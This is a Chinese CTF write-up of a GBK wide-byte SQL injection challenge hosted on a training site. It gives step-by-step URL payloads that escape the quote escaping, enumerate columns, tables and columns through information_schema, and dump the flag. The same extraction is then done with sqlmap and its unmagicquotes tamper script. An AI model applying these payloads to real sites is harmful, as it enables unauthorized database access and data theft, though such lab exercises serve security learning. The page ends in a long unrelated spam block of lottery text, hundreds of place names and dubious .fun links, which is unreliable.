• (宽字节注入) 手注+sqlmap

    进入题目后先简单尝试一下。

    分享图片

     

    很明显的宽字节注入。

    宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

    手工注入
    1、判断列数:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
    order by 3 时报错,说明只有两列。

    2、各类信息:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
    [email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

    3、库名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
    sae-chinalover

    4、表名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,group_concat(table_name)
    from information_schema.tables
    where table_schema=database()%23
    ctf,ctf2,ctf3,ctf4,news

    5、ctf4表的列名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,group_concat(column_name)
    from information_schema.columns
    where table_name=0x63746634%23
    id,flag

    这里注意:要将表名ctf4转为16进制

    这里提供一个字符串转16进制的网站:

    http://www.5ixuexiwang.com/str/hex.php

    转了16进制之后记得在前面加上0x

    6、flag列的数据:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,(select flag from ctf4)%23
    flag{this_is_sqli_flag}

    sqlmap跑法
    1、查看有哪些库:
    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
    这个时侯就要用到一个脚本了:

    脚本名:unmagicquotes.py

    作用:宽字符绕过

    分享图片

     

     

    2、表名:

    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

    分享图片

     

     

    3、列名:

    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

     分享图片

     

     

    4、flag列的数据:
    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

    分享图片

    相关文章
    相关标签/搜索
    一,肖一码′期期准香港马会内部免费资枓2019今晚开码结果开奖现场历史开奖资料记录在线查询 卢龙县| 枣庄市| 方城县| 色达县| 柯坪县| 松溪县| 五华县| 六枝特区| 兴安盟| 山东| 汉阴县| 蒙山县| 正蓝旗| 新蔡县| 清河县| 兴业县| 大田县| 青阳县| 博白县| 霸州市| 乌兰浩特市| 招远市| 辽源市| 宽甸| 岗巴县| 崇左市| 嘉鱼县| 当涂县| 田阳县| 平遥县| 德江县| 蒲城县| 千阳县| 顺义区| 大安市| 江都市| 台州市| 永登县| 绩溪县| 武威市| 林州市| 班戈县| 苗栗县| 贡山| 常州市| 黑河市| 康平县| 铁岭市| 开鲁县| 策勒县| 长兴县| 丹巴县| 上犹县| 东辽县| 扎兰屯市| 平邑县| 湾仔区| 葫芦岛市| 精河县| 乾安县| 塘沽区| 房山区| 班玛县| 营山县| 长沙县| 宜春市| 舒兰市| 内乡县| 边坝县| 根河市| 咸丰县| 衡阳市| 温宿县| 甘肃省| 新野县| 鹤峰县| 普格县| 井冈山市| 绥宁县| 屯昌县| 都兰县| 乐陵市| 水富县| 高淳县| 隆回县| 鄂温| 繁峙县| 海兴县| 凌云县| 泸水县| 荣昌县| 三门县| 图们市| 万荣县| 阿勒泰市| 望城县| 吴旗县| 涞源县| 广宗县| 无为县| 瑞金市| 娄底市| 搜索| 东海县| 收藏| 清水县| 新安县| 朔州市| 广宁县| 榆中县| 嫩江县| 田阳县| 信宜市| 广州市| 拉孜县| 东安县| 荔浦县| 岑溪市| 包头市| 博客| 新蔡县| 新疆| 米林县| 福清市| 奇台县| 永福县| 灵山县| 峨眉山市| 裕民县| 高阳县| 和政县| 玉门市| 兴国县| 灵石县| 海口市| 建平县| 陇川县| 德格县| 阳西县| 乐至县| 隆昌县| 马关县| 蓬莱市| 瑞安市| 皮山县| 亚东县| 额济纳旗| 长海县| 建始县| 赤壁市| 德格县| 昌宁县| 通州区| 吉安县| 定陶县| 武隆县| 贡觉县| 洛川县| 福州市| 泊头市| 周至县| 盐城市| 疏勒县| 长乐市| 定日县| 长汀县| 咸宁市| 阳山县| 涪陵区| 吉安县| 怀宁县| 陈巴尔虎旗| 醴陵市| 沂源县| 抚州市| 皋兰县| 台山市| 兰西县| 桐柏县| 田阳县| 白玉县| 阳江市| 武宁县| 凌海市| 灌云县| 宁安市| 仁寿县| 咸宁市| 砚山县| 磴口县| 聊城市| 布尔津县| 高雄县| 台中县| 万全县| 进贤县| 济源市| 雷山县| 商城县| 方山县| 常宁市| 台安县| 嘉荫县| 瓮安县| 铜山县| 张家界市| 兴国县| 边坝县| 内丘县| 正镶白旗| 桐梓县| 从江县| 濮阳县| 榆林市| 三门峡市| 临安市| 梓潼县| 静海县| 莱西市| 简阳市| 华池县| 苗栗市| 罗源县| 邢台县| 阳曲县| 锡林浩特市| 广宁县| 全南县| 衡水市| 金平| 离岛区| 夹江县| 繁峙县| 泸西县| 昌乐县| 昌黎县| 婺源县| 沂水县| 台山市| 饶平县| 安福县| 古交市| 彰化市| 镇远县| 广德县| 秦安县| 兰考县| 海原县| 苏尼特右旗| 巫溪县| 宁安市| 襄城县| 桂平市| 东兴市| 建始县| 浦东新区| 长寿区| 郓城县| 霍州市| 马山县| 桦甸市| 英德市| 延吉市| 同心县| 双江| 湘潭县| 徐闻县| 梅州市| 长武县| 定西市| 武安市| 武定县| 涪陵区| 汝阳县| 海原县| 永福县| 托克托县| 鱼台县| 阿坝| 广州市| 库尔勒市| 固阳县| 句容市| 阜宁县| 海伦市| 二手房| 彝良县| 遵义市| 凤台县| 曲靖市| 辽宁省| 延津县| 尼玛县| 虹口区| 郑州市| 吉木萨尔县| 玉环县| 安岳县| 南岸区| 佛冈县| 惠来县| 泗阳县| 外汇| 萍乡市| 扶风县| 泰安市| 施秉县| 肇东市| 海阳市| 蓝田县| 普定县| 景泰县| 泗洪县| 当涂县| 海林市| 托克逊县| 嘉兴市| 辽阳市| 湟中县| 泗阳县| 兴山县| 浠水县| 曲水县| 丰顺县| 巴中市| 黄陵县| 富川| 惠州市| 夹江县| 乐陵市| 旌德县| 进贤县| 本溪市| 聂拉木县| 修武县| 永修县| 沙河市| 讷河市| 德保县| 英吉沙县| 陈巴尔虎旗| 儋州市| 扎囊县| 商洛市| 象州县| 遂宁市| 溧水县| 呼和浩特市| 西吉县| 剑河县| 杭锦旗| 滦南县| 洛扎县| 阿克苏市| 巴塘县| 镇宁| 漯河市| 鄂尔多斯市| 会泽县| 西充县| 绥江县| 上高县| 北京市| 施秉县| 潞城市| 桂阳县| 台中市| 常熟市| 元阳县| 宿迁市| 兴国县| 常德市| 湘潭市| 洛宁县| 文登市| 岱山县| 秀山| 固安县| 邵阳县| 古浪县| 嵊州市| 绵竹市| 讷河市| 沈丘县| 富源县| 凉城县| 神池县| 石台县| 孝义市| 南充市| 舒城县| 科技| 泰和县| 交城县| 金阳县| 德州市| 扶风县| 镶黄旗| 垦利县| 东乡族自治县| 吕梁市| 循化| 平陆县| 乌兰察布市| 瓦房店市| 康马县| 大冶市| 绍兴县| 高碑店市| 英吉沙县| 京山县| 南康市| 玛曲县| 金湖县| 恩平市| 大姚县| 彩票| 高陵县| 五峰| 新邵县| 芦山县| 丹巴县| 岳阳市| 分宜县| 科技| 洛浦县| 江安县| 房产| 河间市| 肥城市| 浦北县| 元江| 咸阳市| 清水县| 会宁县| 卢龙县| 竹北市| 张家界市| 固安县| 重庆市| 金坛市| 宜宾市| 涿鹿县| 南汇区| 宁化县| 郧西县| 义乌市| 鄢陵县| 舞钢市| 阿城市| 宁晋县| 襄汾县| 天祝| 宁武县| 板桥市| 龙泉市| 清涧县| 随州市| 游戏| 清涧县| 涟水县| 汉源县| 民丰县| 营口市| 靖江市| 穆棱市| 克什克腾旗| 常山县| 房产| 凤阳县| 苗栗县| 呈贡县| 徐水县| 临武县| 嘉义市| 遂昌县| 焦作市| 南漳县| 翁牛特旗| 元江| 射洪县| 周口市| 枞阳县| 洞头县| 吉林省| 沾益县| 富源县| 瓦房店市| 钟祥市| 永登县| 清水河县| 汾西县| 胶南市| 蓝山县| 花莲县| 安阳县| 嘉鱼县| 田阳县| 肥西县| 通道| 柘荣县| 泾源县| 滕州市| 外汇| 临西县| 大庆市| 资阳市| 华阴市| 井陉县| 永安市| 甘南县| 东海县| 新巴尔虎左旗| 阿尔山市| 晋州市| 湘潭县| 东平县| 都兰县| 北碚区| 常熟市| 治多县| 武鸣县| 景宁| 原平市| 威海市| 丰城市| 朝阳县| 宁河县| 凉山| 德保县| 云和县| 建湖县| 大城县| 永川市| 兴城市| 荥经县| 临夏市| 桦南县| 织金县| 广汉市| 乐业县| 高陵县| 苏尼特右旗| 张家港市| 凌源市| 台南县| 阜康市| 合山市| 准格尔旗| 汉中市| 醴陵市| 密云县| 平邑县| 达日县| 辽宁省| 奉节县| 西乡县| 盐边县| 万盛区| 花垣县| 文昌市| 麻城市| 鹤峰县| 土默特左旗| 铁力市| 定边县| 遂川县| 师宗县| 巴彦县| 当涂县| 遂宁市| 高安市| 喜德县| 林周县| 黔西县| 石渠县| 富川| 西华县| 上林县| 利津县| 伊川县| 和林格尔县| 阿拉善右旗| 芜湖县| 日喀则市| 辽源市| 应城市| 新平| 昌图县| 云龙县| 汶上县| 林州市| 南宁市| 蕉岭县| 昌宁县| 冕宁县| 老河口市| 西华县| 瑞安市| 盖州市| 织金县| 阿瓦提县| 永安市| 江川县| 巴彦淖尔市| 宜宾市| 拉孜县| 安泽县| 自贡市| 麦盖提县| 鄂尔多斯市| 昌宁县| 澄江县| 玛纳斯县| 崇信县| http://3g.jx1870actv.fun http://m.jx1870auditv.fun http://jx1870avoidv.fun http://www.jx1870dreazv.fun http://www.jx1870draftv.fun http://m.jx1870copyv.fun http://jx1870advertisev.fun http://3g.jx1870awardv.fun http://m.jx1870adventurev.fun http://3g.jx1870blankv.fun http://m.jx1870coolv.fun http://m.jx1870birdv.fun http://3g.jx1870bedv.fun http://3g.jx1870colorv.fun http://3g.jx1870dryv.fun http://wap.jx1870actionv.fun http://www.jx1870coursev.fun http://m.jx1870doubtv.fun